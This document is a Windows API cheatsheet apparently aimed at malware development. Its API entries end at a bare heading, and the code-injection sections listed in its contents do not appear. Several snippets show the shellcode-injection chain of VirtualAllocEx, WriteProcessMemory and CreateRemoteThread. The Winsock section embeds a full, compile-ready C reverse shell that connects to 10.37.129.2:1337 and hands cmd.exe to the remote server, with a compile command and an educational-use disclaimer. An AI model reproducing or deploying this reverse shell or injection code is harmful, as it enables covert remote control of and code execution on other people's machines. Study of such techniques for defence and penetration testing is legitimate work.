Table of Contents
- Windows API Function Cheatsheets
- File Operations
- Process Management
- Memory Management
- Thread Management
- Dynamic-Link Library (DLL) Management
- Synchronization
- Interprocess Communication
- Windows Hooks
- Cryptography
- Debugging
- Winsock
- Registry Operations
- Error Handling
- Resource Management
- Unicode String Functions
- String Length
- String Copy
- String Concatenation
- String Comparison
- String Search
- Character Classification and Conversion
- Win32 Structs Cheat Sheet
- Common Structs
- Win32 Sockets Structs Cheat Sheet (winsock.h)
- Win32 Sockets Structs Cheat Sheet (winsock2.h)
- Win32 Sockets Structs Cheat Sheet (ws2def.h)
- Code Injection Techniques
- 1. DLL Injection
- 2. PE Injection
- 3. Reflective Injection
- 4. APC Injection
- 5. Process Hollowing (Process Replacement)
- 6. AtomBombing
- 7. Process Doppelgänging
- 8. Process Herpaderping
- 9. Hooking Injection
- 10. Extra Windows Memory Injection
- 11. Propagate Injection
- 12. Heap Spray
- 13. Thread Execution Hijacking
- 14. Module Stomping
- 15. IAT Hooking
- 16. Inline Hooking
- 17. Debugger Injection
- 18. COM Hijacking
- 19. Phantom DLL Hollowing
- 20. PROPagate
- 21. Early Bird Injection
- 22. Shim-based Injection
- 23. Mapping Injection
- 24. KnownDlls Cache Poisoning
- Process Enumeration
Windows API Function Calls
File Operations
CreateFile
HANDLE CreateFile( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); // Opens an existing file or creates a new file.
ReadFile
BOOL ReadFile( HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped ); // Reads data from the specified file.
WriteFile
BOOL WriteFile( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped ); // Writes data to the specified file.
CloseHandle
BOOL CloseHandle( HANDLE hObject ); // Closes an open handle.
Process Management
OpenProcess
HANDLE OpenProcess( [in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] DWORD dwProcessId ); // Opens an existing local process object. e.g., try to open target process
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid);
CreateProcess
HANDLE CreateProcess( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); // The CreateProcess function creates a new process that runs independently of the creating process. For simplicity, this relationship is called a parent-child relationship.
// Start the child process // No module name (use command line), Command line, Process handle not inheritable, Thread handle not inheritable, Set handle inheritance to FALSE, No creation flags, Use parent's environment block, Use parent's starting directory, Pointer to STARTUPINFO structure, Pointer to PROCESS_INFORMATION structure CreateProcess( NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WinExec
UINT WinExec( [in] LPCSTR lpCmdLine, [in] UINT uCmdShow ); // Runs the specified application.
result = WinExec(L"C:\\Windows\\System32\\cmd.exe", SW_SHOWNORMAL);
TerminateProcess
BOOL TerminateProcess( HANDLE hProcess, UINT uExitCode ); // Terminates the specified process.
ExitWindowsEx
BOOL ExitWindowsEx( [in] UINT uFlags, [in] DWORD dwReason ); // Logs off the interactive user, shuts down the system, or shuts down and restarts the system.
bResult = ExitWindowsEx(EWX_REBOOT, SHTDN_REASON_MAJOR_APPLICATION);
CreateToolhelp32Snapshot
HANDLE CreateToolhelp32Snapshot( [in] DWORD dwFlags, [in] DWORD th32ProcessID ); // used to obtain information about processes and threads running on a Windows system.
Process32First
BOOL Process32First( [in] HANDLE hSnapshot, [in, out] LPPROCESSENTRY32 lppe ); // used to retrieve information about the first process encountered in a system snapshot, which is typically taken using the CreateToolhelp32Snapshot function.
Process32Next
BOOL Process32Next( [in] HANDLE hSnapshot, [out] LPPROCESSENTRY32 lppe ); // used to retrieve information about the next process in a system snapshot after Process32First has been called. This function is typically used in a loop to enumerate all processes captured in a snapshot taken using the CreateToolhelp32Snapshot function.
WriteProcessMemory
BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten ); // Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL); // pRemoteCode from VirtualAllocEx
ReadProcessMemory
BOOL ReadProcessMemory( [in] HANDLE hProcess, [in] LPCVOID lpBaseAddress, [out] LPVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesRead ); // ReadProcessMemory copies the data in the specified address range from the address space of the specified process into the specified buffer of the current process.
bResult = ReadProcessMemory(pHandle, (void*)baseAddress, &address, sizeof(address), 0);
Memory Management
VirtualAlloc
LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, // Shellcode must be between 0x1 and 0x10000 bytes (page size) DWORD flAllocationType, // #define MEM_COMMIT 0x00001000 DWORD flProtect // #define PAGE_EXECUTE_READWRITE 0x00000040 ); // Reserves, commits, or changes the state of a region of memory within the virtual address space of the calling process.
VirtualAllocEx
LPVOID VirtualAllocEx( [in] HANDLE hProcess, [in, optional] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flAllocationType, [in] DWORD flProtect ); // Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
VirtualFree
BOOL VirtualFree( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ); // Releases, decommits, or releases and decommits a region of memory within the virtual address space of the calling process.
VirtualProtect function (memoryapi.h)
BOOL VirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ); // Changes the protection on a region of committed pages in the virtual address space of the calling process.
RtlMoveMemory
VOID RtlMoveMemory( _Out_ VOID UNALIGNED *Destination, _In_ const VOID UNALIGNED *Source, _In_ SIZE_T Length ); // Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks.
Thread Management
CreateThread
HANDLE CreateThread( [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, // A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new thread and determines whether child processes can inherit the returned handle. [in] SIZE_T dwStackSize, // The initial size of the stack, in bytes. [in] LPTHREAD_START_ROUTINE lpStartAddress, // A pointer to the application-defined function of type LPTHREAD_START_ROUTINE [in, optional] __drv_aliasesMem LPVOID lpParameter, // A pointer to a variable to be passed to the thread function. [in] DWORD dwCreationFlags, // The flags that control the creation of the thread. [out, optional] LPDWORD lpThreadId // A pointer to a variable that receives the thread identifier. If this parameter is NULL, the thread identifier is not returned. ); // Creates a thread to execute within the virtual address space of the calling process.
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, 0);
CreateRemoteThread
HANDLE CreateRemoteThread( [in] HANDLE hProcess, [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in] LPVOID lpParameter, [in] DWORD dwCreationFlags, [out] LPDWORD lpThreadId ); // Creates a thread that runs in the virtual address space of another process.
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory
CreateRemoteThreadEx
HANDLE CreateRemoteThreadEx( [in] HANDLE hProcess, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in, optional] LPVOID lpParameter, [in] DWORD dwCreationFlags, [in, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, [out, optional] LPDWORD lpThreadId ); // Creates a thread that runs in the virtual address space of another process and optionally specifies extended attributes such as processor group affinity. // See InitializeProcThreadAttributeList
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, lpAttributeList, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory
ExitThread
VOID ExitThread( DWORD dwExitCode ); // Terminates the calling thread and returns the exit code to the operating system.
GetExitCodeThread
BOOL GetExitCodeThread( HANDLE hThread, LPDWORD lpExitCode ); // Retrieves the termination status of the specified thread.
ResumeThread
DWORD ResumeThread( HANDLE hThread ); // Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed.
SuspendThread
DWORD SuspendThread( HANDLE hThread ); // Suspends the specified thread.
TerminateThread
BOOL TerminateThread( HANDLE hThread, DWORD dwExitCode ); // Terminates the specified thread.
CloseHandle
BOOL CloseHandle( HANDLE hObject ); // Closes an open handle.
Dynamic-Link Library (DLL) Management
LoadLibrary
HMODULE LoadLibrary( LPCTSTR lpFileName ); // Loads a dynamic-link library (DLL) module into the address space of the calling process.
LoadLibraryExA
HMODULE LoadLibraryExA( [in] LPCSTR lpLibFileName, HANDLE hFile, [in] DWORD dwFlags ); // Loads the specified module into the address space of the calling process, with additional options.
HMODULE hModule = LoadLibraryExA("ws2_32.dll", NULL, LOAD_LIBRARY_SAFE_CURRENT_DIRS);
GetProcAddress
FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName ); // Retrieves the address of an exported function or variable from the specified DLL.
pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
FreeLibrary
BOOL FreeLibrary( HMODULE hModule ); // Frees the loaded DLL module and, if necessary, decrements its reference count.
Synchronization
CreateMutex
HANDLE CreateMutex( LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCTSTR lpName ); // Creates a named or unnamed mutex object.
CreateSemaphore
HANDLE CreateSemaphore( LPSECURITY_ATTRIBUTES lpSemaphoreAttributes, LONG lInitialCount, LONG lMaximumCount, LPCTSTR lpName ); // Creates a named or unnamed semaphore object.
ReleaseMutex
BOOL ReleaseMutex( HANDLE hMutex ); // Releases ownership of the specified mutex object.
ReleaseSemaphore
BOOL ReleaseSemaphore( HANDLE hSemaphore, LONG lReleaseCount, LPLONG lpPreviousCount ); // Increases the count of the specified semaphore object by a specified amount.
WaitForSingleObject
DWORD WaitForSingleObject( [in] HANDLE hHandle, [in] DWORD dwMilliseconds ); // Waits until the specified object is in the signaled state or the time-out interval elapses.
WaitForSingleObject(hThread, 500);
Interprocess Communication
CreatePipe
BOOL CreatePipe( PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize ); // Creates an anonymous pipe and returns handles to the read and write ends of the pipe.
CreateNamedPipe
HANDLE CreateNamedPipe( LPCTSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes ); // Creates a named pipe and returns a handle for subsequent pipe operations.
ConnectNamedPipe
BOOL ConnectNamedPipe( HANDLE hNamedPipe, LPOVERLAPPED lpOverlapped ); // Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe.
DisconnectNamedPipe
BOOL DisconnectNamedPipe( HANDLE hNamedPipe ); // Disconnects the server end of a named pipe instance from a client process.
CreateFileMapping
HANDLE CreateFileMapping( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCTSTR lpName ); // Creates or opens a named or unnamed file mapping object for a specified file.
MapViewOfFile
LPVOID MapViewOfFile( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap ); // Maps a view of a file mapping into the address space of the calling process.
UnmapViewOfFile
BOOL UnmapViewOfFile( LPCVOID lpBaseAddress ); // Unmaps a mapped view of a file from the calling process's address space.
CloseHandle
BOOL CloseHandle( HANDLE hObject ); // Closes an open handle.
Windows Hooks
SetWindowsHookExA
HHOOK SetWindowsHookExA( [in] int idHook, [in] HOOKPROC lpfn, [in] HINSTANCE hmod, [in] DWORD dwThreadId ); // Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.
CallNextHookEx
LRESULT CallNextHookEx( [in, optional] HHOOK hhk, [in] int nCode, [in] WPARAM wParam, [in] LPARAM lParam ); // Passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information.
UnhookWindowsHookEx
BOOL UnhookWindowsHookEx( [in] HHOOK hhk ); // Removes a hook procedure installed in a hook chain by the SetWindowsHookEx function.
GetAsyncKeyState
SHORT GetAsyncKeyState( [in] int vKey ); // Determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
GetKeyState
SHORT GetKeyState( [in] int nVirtKey ); // Retrieves the status of the specified virtual key. The status specifies whether the key is up, down, or toggled (on, off—alternating each time the key is pressed).
GetKeyboardState
BOOL GetKeyboardState( [out] PBYTE lpKeyState ); // Copies the status of the 256 virtual keys to the specified buffer.
Cryptography
CryptBinaryToStringA
BOOL CryptBinaryToStringA( [in] const BYTE *pbBinary, [in] DWORD cbBinary, [in] DWORD dwFlags, [out, optional] LPSTR pszString, [in, out] DWORD *pcchString ); // The CryptBinaryToString function converts an array of bytes into a formatted string.
CryptDecrypt
BOOL CryptDecrypt( [in] HCRYPTKEY hKey, [in] HCRYPTHASH hHash, [in] BOOL Final, [in] DWORD dwFlags, [in, out] BYTE *pbData, [in, out] DWORD *pdwDataLen ); // The CryptDecrypt function decrypts data previously encrypted by using the CryptEncrypt function.
CryptEncrypt
BOOL CryptEncrypt( [in] HCRYPTKEY hKey, [in] HCRYPTHASH hHash, [in] BOOL Final, [in] DWORD dwFlags, [in, out] BYTE *pbData, [in, out] DWORD *pdwDataLen, [in] DWORD dwBufLen ); // The CryptEncrypt function encrypts data. The algorithm used to encrypt the data is designated by the key held by the CSP module and is referenced by the hKey parameter.
CryptDecryptMessage
BOOL CryptDecryptMessage( [in] PCRYPT_DECRYPT_MESSAGE_PARA pDecryptPara, [in] const BYTE *pbEncryptedBlob, [in] DWORD cbEncryptedBlob, [out, optional] BYTE *pbDecrypted, [in, out, optional] DWORD *pcbDecrypted, [out, optional] PCCERT_CONTEXT *ppXchgCert ); // The CryptDecryptMessage function decodes and decrypts a message.
CryptEncryptMessage
BOOL CryptEncryptMessage( [in] PCRYPT_ENCRYPT_MESSAGE_PARA pEncryptPara, [in] DWORD cRecipientCert, [in] PCCERT_CONTEXT [] rgpRecipientCert, [in] const BYTE *pbToBeEncrypted, [in] DWORD cbToBeEncrypted, [out] BYTE *pbEncryptedBlob, [in, out] DWORD *pcbEncryptedBlob ); // The CryptEncryptMessage function encrypts and encodes a message.
Debugging
IsDebuggerPresent
BOOL IsDebuggerPresent(); // Determines whether the calling process is being debugged by a user-mode debugger.
CheckRemoteDebuggerPresent
BOOL CheckRemoteDebuggerPresent( [in] HANDLE hProcess, [in, out] PBOOL pbDebuggerPresent ); // Determines whether the specified process is being debugged.
OutputDebugStringA
void OutputDebugStringA( [in, optional] LPCSTR lpOutputString ); // Sends a string to the debugger for display.
Winsock
/*** Windows Reverse Shell * * ██████ ███▄ █ ▒█████ █ █░ ▄████▄ ██▀███ ▄▄▄ ██████ ██░ ██ * ▒██ ▒ ██ ▀█ █ ▒██▒ ██▒▓█░ █ ░█░▒██▀ ▀█ ▓██ ▒ ██▒▒████▄ ▒██ ▒ ▓██░ ██▒ * ░ ▓██▄ ▓██ ▀█ ██▒▒██░ ██▒▒█░ █ ░█ ▒▓█ ▄ ▓██ ░▄█ ▒▒██ ▀█▄ ░ ▓██▄ ▒██▀▀██░ * ▒ ██▒▓██▒ ▐▌██▒▒██ ██░░█░ █ ░█ ▒▓▓▄ ▄██▒▒██▀▀█▄ ░██▄▄▄▄██ ▒ ██▒░▓█ ░██ * ▒██████▒▒▒██░ ▓██░░ ████▓▒░░░██▒██▓ ▒ ▓███▀ ░░██▓ ▒██▒ ▓█ ▓██▒▒██████▒▒░▓█▒░██▓ * ▒ ▒▓▒ ▒ ░░ ▒░ ▒ ▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ░▒ ▒ ░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒ * ░ ░▒ ░ ░░ ░░ ░ ▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░░ ░▒ ░ ░ ▒ ░▒░ ░ * ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░░ ░ * ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ * Written by: snowcra5h@icloud.com (snowcra5h) 2023 * * This program establishes a reverse shell via the Winsock2 library. It is * designed to establish a connection to a specified remote server, and execute commands * received from the server on the local machine, giving the server * control over the local machine. * * Compile command (using MinGW on Wine): * wine gcc.exe windows.c -o windows.exe -lws2_32 * * This code is intended for educational and legitimate penetration testing purposes only. * Please use responsibly and ethically. * */ #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <windows.h> #include <process.h> const char* const PORT = "1337"; const char* const IP = "10.37.129.2"; typedef struct { HANDLE hPipeRead; HANDLE hPipeWrite; SOCKET sock; } ThreadParams; DWORD WINAPI OutputThreadFunc(LPVOID data); DWORD WINAPI InputThreadFunc(LPVOID data); void CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock); int main(int argc, char** argv) { WSADATA wsaData; int err = WSAStartup(MAKEWORD(2, 2), &wsaData); if (err != 0) { fprintf(stderr, "WSAStartup failed: %d\n", err); return 1; } SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED); if (sock == INVALID_SOCKET) { fprintf(stderr, "Socket function failed with error = %d\n", WSAGetLastError()); WSACleanup(); return 1; } struct addrinfo hints = { 0 }; hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; struct addrinfo* result; err = getaddrinfo(IP, PORT, &hints, &result); if (err != 0) { fprintf(stderr, "Failed to get address info: %d\n", err); CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock); return 1; } if (WSAConnect(sock, result->ai_addr, (int)result->ai_addrlen, NULL, NULL, NULL, NULL) == SOCKET_ERROR) { fprintf(stderr, "Failed to connect.\n"); CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock); return 1; } SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; HANDLE hInputWrite, hOutputRead, hInputRead, hOutputWrite; if (!CreatePipe(&hOutputRead, &hOutputWrite, &sa, 0) || !CreatePipe(&hInputRead, &hInputWrite, &sa, 0)) { fprintf(stderr, "Failed to create pipe.\n"); CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock); return 1; } STARTUPINFO startupInfo = { 0 }; startupInfo.cb = sizeof(startupInfo); startupInfo.dwFlags = STARTF_USESTDHANDLES; startupInfo.hStdInput = hInputRead; startupInfo.hStdOutput = hOutputWrite; startupInfo.hStdError = hOutputWrite; PROCESS_INFORMATION processInfo; WCHAR cmd[] = L"cmd.exe /k"; if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo)) { fprintf(stderr, "Failed to create process.\n"); CleanUp(hInputWrite, hInputRead, hOutputWrite, hOutputRead, processInfo, result, sock); return 1; } CloseHandle(hInputRead); CloseHandle(hOutputWrite); CloseHandle(processInfo.hThread); ThreadParams outputParams = { hOutputRead, NULL, sock }; ThreadParams inputParams = { NULL, hInputWrite, sock }; HANDLE hThread[2]; hThread[0] = CreateThread(NULL, 0, OutputThreadFunc, &outputParams, 0, NULL); hThread[1] = CreateThread(NULL, 0, InputThreadFunc, &inputParams, 0, NULL); WaitForMultipleObjects(2, hThread, TRUE, INFINITE); CleanUp(hInputWrite, NULL, NULL, hOutputRead, processInfo, result, sock); return 0; } void CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock) { if (hInputWrite != NULL) CloseHandle(hInputWrite); if (hInputRead != NULL) CloseHandle(hInputRead); if (hOutputWrite != NULL) CloseHandle(hOutputWrite); if (hOutputRead != NULL) CloseHandle(hOutputRead); if (processInfo.hProcess != NULL) CloseHandle(processInfo.hProcess); if (processInfo.hThread != NULL) CloseHandle(processInfo.hThread); if (result != NULL) freeaddrinfo(result); if (sock != NULL) closesocket(sock); WSACleanup(); } DWORD WINAPI OutputThreadFunc(LPVOID data) { ThreadParams* params = (ThreadParams*)data; char buffer[4096]; DWORD bytesRead; while (ReadFile(params->hPipeRead, buffer, sizeof(buffer) - 1, &bytesRead, NULL)) { buffer[bytesRead] = '\0'; send(params->sock, buffer, bytesRead, 0); } return 0; } DWORD WINAPI InputThreadFunc(LPVOID data) { ThreadParams* params = (ThreadParams*)data; char buffer[4096]; int bytesRead; while ((bytesRead = recv(params->sock, buffer, sizeof(buffer) - 1, 0)) > 0) { DWORD bytesWritten; WriteFile(params->hPipeWrite, buffer, bytesRead, &bytesWritten, NULL); } return 0; }
WSAStartup
int WSAStartup( WORD wVersionRequired, LPWSADATA lpWSAData ); // Initializes the Winsock library for an application. Must be called before any other Winsock functions.
WSAConnect
int WSAConnect( SOCKET s, // Descriptor identifying a socket. const struct sockaddr* name, // Pointer to the sockaddr structure for the connection target. int namelen, // Length of the sockaddr structure. LPWSABUF lpCallerData, // Pointer to user data to be transferred during connection. LPWSABUF lpCalleeData, // Pointer to user data transferred back during connection. LPQOS lpSQOS, // Pointer to flow specs for socket s, one for each direction. LPQOS lpGQOS // Pointer to flow specs for the socket group. ); // Establishes a connection to another socket application.This function is similar to connect, but allows for more control over the connection process.
WSASend
int WSASend( SOCKET s, // Descriptor identifying a connected socket. LPWSABUF lpBuffers, // Array of buffers for data to be sent. DWORD dwBufferCount, // Number of buffers in the lpBuffers array. LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call. DWORD dwFlags, // Flags to modify the behavior of the function call. LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed. ); // Sends data on a connected socket.It can be used for both synchronous and asynchronous data transfer.
WSARecv
int WSARecv( SOCKET s, // Descriptor identifying a connected socket. LPWSABUF lpBuffers, // Array of buffers to receive the incoming data. DWORD dwBufferCount, // Number of buffers in the lpBuffers array. LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call. LPDWORD lpFlags, // Flags to modify the behavior of the function call. LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed. ); //Receives data from a connected socket, and can also be used for both synchronous and asynchronous data transfer.
WSASendTo
int WSASendTo( SOCKET s, // Descriptor identifying a socket. LPWSABUF lpBuffers, // Array of buffers containing the data to be sent. DWORD dwBufferCount, // Number of buffers in the lpBuffers array. LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call. DWORD dwFlags, // Flags to modify the behavior of the function call. const struct sockaddr* lpTo, // Pointer to the sockaddr structure for the target address. int iToLen, // Size of the address in lpTo. LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed. ); // Sends data to a specific destination, for use with connection - less socket types such as SOCK_DGRAM.
WSARecvFrom
int WSARecvFrom( SOCKET s, // Descriptor identifying a socket. LPWSABUF lpBuffers, // Array of buffers to receive the incoming data. DWORD dwBufferCount, // Number of buffers in the lpBuffers array. LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call. LPDWORD lpFlags, // Flags to modify the behavior of the function call. struct sockaddr* lpFrom, // Pointer to an address structure that will receive the source address upon completion of the operation. LPINT lpFromlen, // Pointer to the size of the lpFrom address structure. LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed. ); //Receives data from a specific source, used with connection - less socket types such as SOCK_DGRAM.
WSAAsyncSelect
int WSAAsyncSelect( SOCKET s, // Descriptor identifying the socket. HWND hWnd, // Handle to the window which should receive the message. unsigned int wMsg, // Message to be received when an event occurs. long lEvent // Bitmask specifying a group of conditions to be monitored. ); // Requests Windows message - based notification of network events for a socket.
socket
SOCKET socket( int af, int type, int protocol ); // Creates a new socket for network communication.
bind
int bind( SOCKET s, const struct sockaddr *name, int namelen ); // Binds a socket to a specific local address and port.
listen
int listen( SOCKET s, int backlog ); // Sets a socket to listen for incoming connections.
accept
SOCKET accept( SOCKET s, struct sockaddr *addr, int *addrlen ); // Accepts a new incoming connection on a listening socket.
connect
int connect( SOCKET s, const struct sockaddr *name, int namelen ); // Initiates a connection on a socket to a remote address.
send
int send( SOCKET s, const char *buf, int len, int flags ); // Sends data on a connected socket.
recv
int recv( SOCKET s, char *buf, int len, int flags ); // Receives data from a connected socket.
closesocket
int closesocket( SOCKET s ); //Closes a socket and frees its resources.
gethostbyname
hostent* gethostbyname( const char* name // either a hostname or an IPv4 address in dotted-decimal notation ); // returns a pointer to a hostent struct. NOTE: Typically better to use getaddrinfo
Registry Operations
RegOpenKeyExW
LONG RegOpenKeyExW( HKEY hKey, LPCWTSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult ); // Opens the specified registry key.
RegQueryValueExW
LONG RegQueryValueExW( HKEY hKey, LPCWTSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData ); // Retrieves the type and data of the specified value name associated with an open registry key.
RegSetValueExW
LONG RegSetValueEx( HKEY hKey, LPCWTSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE *lpData, DWORD cbData ); // Sets the data and type of the specified value name associated with an open registry key.
RegCloseKey
LONG RegCloseKey( HKEY hKey ); // Closes a handle to the specified registry key.
RegCreateKeyExA
LSTATUS RegCreateKeyExA( [in] HKEY hKey, [in] LPCSTR lpSubKey, DWORD Reserved, [in, optional] LPSTR lpClass, [in] DWORD dwOptions, [in] REGSAM samDesired, [in, optional] const LPSECURITY_ATTRIBUTES lpSecurityAttributes, [out] PHKEY phkResult, [out, optional] LPDWORD lpdwDisposition ); // Creates the specified registry key. If the key already exists, the function opens it. Note that key names are not case sensitive.
RegSetValueExA
LSTATUS RegSetValueExA( [in] HKEY hKey, [in, optional] LPCSTR lpValueName, DWORD Reserved, [in] DWORD dwType, [in] const BYTE *lpData, [in] DWORD cbData ); // Sets the data and type of a specified value under a registry key.
RegCreateKeyA
LSTATUS RegCreateKeyA( [in] HKEY hKey, [in, optional] LPCSTR lpSubKey, [out] PHKEY phkResult ); // Creates the specified registry key. If the key already exists in the registry, the function opens it.
RegDeleteKeyA
LSTATUS RegDeleteKeyA( [in] HKEY hKey, [in] LPCSTR lpSubKey ); // Deletes a subkey and its values. Note that key names are not case sensitive.
NtRenameKey
__kernel_entry NTSTATUS NtRenameKey( [in] HANDLE KeyHandle, [in] PUNICODE_STRING NewName ); // Changes the name of the specified registry key.
Error Handling
WSAGetLastError
int WSAGetLastError( void ); // Returns the error status for the last Windows Sockets operation that failed.
WSASetLastError
void WSASetLastError( int iError ); // Sets the error status for the last Windows Sockets operation.
WSAGetOverlappedResult
BOOL WSAGetOverlappedResult( SOCKET s, LPWSAOVERLAPPED lpOverlapped, LPDWORD lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags ); // Determines the results of an overlapped operation on the specified socket.
WSAIoctl
int WSAIoctl( SOCKET s, DWORD dwIoControlCode, LPVOID lpvInBuffer, DWORD cbInBuffer, LPVOID lpvOutBuffer, DWORD cbOutBuffer, LPDWORD lpcbBytesReturned, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine ); // Controls the mode of a socket.
WSACreateEvent
WSAEVENT WSACreateEvent( void ); // Creates a new event object.
WSASetEvent
BOOL WSASetEvent( WSAEVENT hEvent ); // Sets the state of the specified event object to signaled.
WSAResetEvent
BOOL WSAResetEvent( WSAEVENT hEvent ); // Sets the state of the specified event object to nonsignaled.
WSACloseEvent
BOOL WSACloseEvent( WSAEVENT hEvent ); // Closes an open event object handle.
WSAWaitForMultipleEvents
